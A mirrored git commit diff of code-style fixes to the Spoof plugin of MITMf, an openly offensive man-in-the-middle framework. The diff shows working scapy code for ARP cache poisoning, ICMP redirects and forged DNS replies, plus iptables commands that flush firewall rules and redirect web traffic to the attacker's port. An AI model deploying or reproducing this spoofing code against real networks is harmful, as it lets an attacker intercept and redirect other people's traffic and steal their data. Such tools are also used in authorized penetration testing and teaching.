mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-10 23:33:39 -07:00
minor code style fixes
This commit is contained in:
parent
e56f813181
commit
4754305b9a
1 changed files with 36 additions and 35 deletions
|
@ -19,13 +19,14 @@ try:
|
||||||
except:
|
except:
|
||||||
sys.exit('[-] configobj library not installed!')
|
sys.exit('[-] configobj library not installed!')
|
||||||
|
|
||||||
|
|
||||||
class Spoof(Plugin):
|
class Spoof(Plugin):
|
||||||
name = "Spoof"
|
name = "Spoof"
|
||||||
optname = "spoof"
|
optname = "spoof"
|
||||||
desc = 'Redirect traffic using ICMP, ARP or DNS'
|
desc = 'Redirect traffic using ICMP, ARP or DNS'
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
def initialize(self,options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.interface = options.interface
|
self.interface = options.interface
|
||||||
|
@ -55,8 +56,8 @@ class Spoof(Plugin):
|
||||||
if not self.manualiptables:
|
if not self.manualiptables:
|
||||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||||
|
|
||||||
if self.arp == True:
|
if self.arp:
|
||||||
if self.icmp == True:
|
if self.icmp:
|
||||||
sys.exit("[-] --arp and --icmp are mutually exclusive")
|
sys.exit("[-] --arp and --icmp are mutually exclusive")
|
||||||
|
|
||||||
if (not self.interface or not self.gateway):
|
if (not self.interface or not self.gateway):
|
||||||
|
@ -70,8 +71,8 @@ class Spoof(Plugin):
|
||||||
elif self.arpmode == 'rep':
|
elif self.arpmode == 'rep':
|
||||||
pkt = self.build_arp_rep()
|
pkt = self.build_arp_rep()
|
||||||
|
|
||||||
elif self.icmp == True:
|
elif self.icmp:
|
||||||
if self.arp == True:
|
if self.arp:
|
||||||
sys.exit("[-] --icmp and --arp are mutually exclusive")
|
sys.exit("[-] --icmp and --arp are mutually exclusive")
|
||||||
|
|
||||||
if (not self.interface or not self.gateway or not self.target):
|
if (not self.interface or not self.gateway or not self.target):
|
||||||
|
@ -82,7 +83,7 @@ class Spoof(Plugin):
|
||||||
print "[*] ICMP Redirection enabled"
|
print "[*] ICMP Redirection enabled"
|
||||||
pkt = self.build_icmp()
|
pkt = self.build_icmp()
|
||||||
|
|
||||||
if self.summary == True:
|
if self.summary:
|
||||||
pkt.show()
|
pkt.show()
|
||||||
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
|
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
|
||||||
if ans == 'y' or len(ans) == 0:
|
if ans == 'y' or len(ans) == 0:
|
||||||
|
@ -90,7 +91,7 @@ class Spoof(Plugin):
|
||||||
else:
|
else:
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
if self.dns == True:
|
if self.dns:
|
||||||
if not self.dnscfg:
|
if not self.dnscfg:
|
||||||
if (not self.dnsip or not self.domain):
|
if (not self.dnsip or not self.domain):
|
||||||
sys.exit("[-] DNS Spoofing requires --domain, --dnsip")
|
sys.exit("[-] DNS Spoofing requires --domain, --dnsip")
|
||||||
|
@ -109,26 +110,26 @@ class Spoof(Plugin):
|
||||||
print '[*] Setting up iptables rules'
|
print '[*] Setting up iptables rules'
|
||||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
|
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
|
||||||
|
|
||||||
t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt,self.interface,self.debug,))
|
t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt, self.interface, self.debug,))
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
def send_packets(self,pkt,interface, debug):
|
def send_packets(self, pkt, interface, debug):
|
||||||
while self.send == True:
|
while self.send:
|
||||||
sendp(pkt, inter=2, iface=interface, verbose=debug)
|
sendp(pkt, inter=2, iface=interface, verbose=debug)
|
||||||
|
|
||||||
def build_icmp(self):
|
def build_icmp(self):
|
||||||
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface))/\
|
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\
|
||||||
IP(src=self.target, dst=self.gateway)/UDP()
|
IP(src=self.target, dst=self.gateway)/UDP()
|
||||||
|
|
||||||
return pkt
|
return pkt
|
||||||
|
|
||||||
def build_arp_req(self):
|
def build_arp_req(self):
|
||||||
if self.target == None:
|
if self.target is None:
|
||||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
|
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
|
||||||
elif self.target:
|
elif self.target:
|
||||||
target_mac = getmacbyip(self.target)
|
target_mac = getmacbyip(self.target)
|
||||||
if target_mac == None:
|
if target_mac is None:
|
||||||
sys.exit("[-] Error: Could not resolve targets MAC address")
|
sys.exit("[-] Error: Could not resolve targets MAC address")
|
||||||
|
|
||||||
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
|
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
|
||||||
|
@ -136,11 +137,11 @@ class Spoof(Plugin):
|
||||||
return pkt
|
return pkt
|
||||||
|
|
||||||
def build_arp_rep(self):
|
def build_arp_rep(self):
|
||||||
if self.target == None:
|
if self.target is None:
|
||||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
|
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
|
||||||
elif self.target:
|
elif self.target:
|
||||||
target_mac = getmacbyip(self.target)
|
target_mac = getmacbyip(self.target)
|
||||||
if target_mac == None:
|
if target_mac is None:
|
||||||
sys.exit("[-] Error: Could not resolve targets MAC address")
|
sys.exit("[-] Error: Could not resolve targets MAC address")
|
||||||
|
|
||||||
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
|
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
|
||||||
|
@ -154,7 +155,7 @@ class Spoof(Plugin):
|
||||||
payload.set_verdict(nfqueue.NF_ACCEPT)
|
payload.set_verdict(nfqueue.NF_ACCEPT)
|
||||||
else:
|
else:
|
||||||
if self.dnscfg:
|
if self.dnscfg:
|
||||||
for k,v in self.dnscfg.items():
|
for k, v in self.dnscfg.items():
|
||||||
if k in pkt[DNS].qd.qname:
|
if k in pkt[DNS].qd.qname:
|
||||||
self.modify_dns(payload, pkt, v)
|
self.modify_dns(payload, pkt, v)
|
||||||
|
|
||||||
|
@ -162,8 +163,8 @@ class Spoof(Plugin):
|
||||||
self.modify_dns(payload, pkt, self.dnsip)
|
self.modify_dns(payload, pkt, self.dnsip)
|
||||||
|
|
||||||
def modify_dns(self, payload, pkt, ip):
|
def modify_dns(self, payload, pkt, ip):
|
||||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
|
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
|
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=ip))
|
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=ip))
|
||||||
|
|
||||||
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
|
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
|
||||||
|
@ -214,11 +215,11 @@ class Spoof(Plugin):
|
||||||
print '\n[*] Flushing iptables rules'
|
print '\n[*] Flushing iptables rules'
|
||||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||||
|
|
||||||
if self.dns == True:
|
if self.dns:
|
||||||
self.q.unbind(socket.AF_INET)
|
self.q.unbind(socket.AF_INET)
|
||||||
self.q.close()
|
self.q.close()
|
||||||
|
|
||||||
if self.arp == True:
|
if self.arp:
|
||||||
print '[*] Re-arping network'
|
print '[*] Re-arping network'
|
||||||
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
|
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
|
||||||
sendp(pkt, inter=1, count=5, iface=self.interface)
|
sendp(pkt, inter=1, count=5, iface=self.interface)
|
Loading…
Add table
Add a link
Reference in a new issue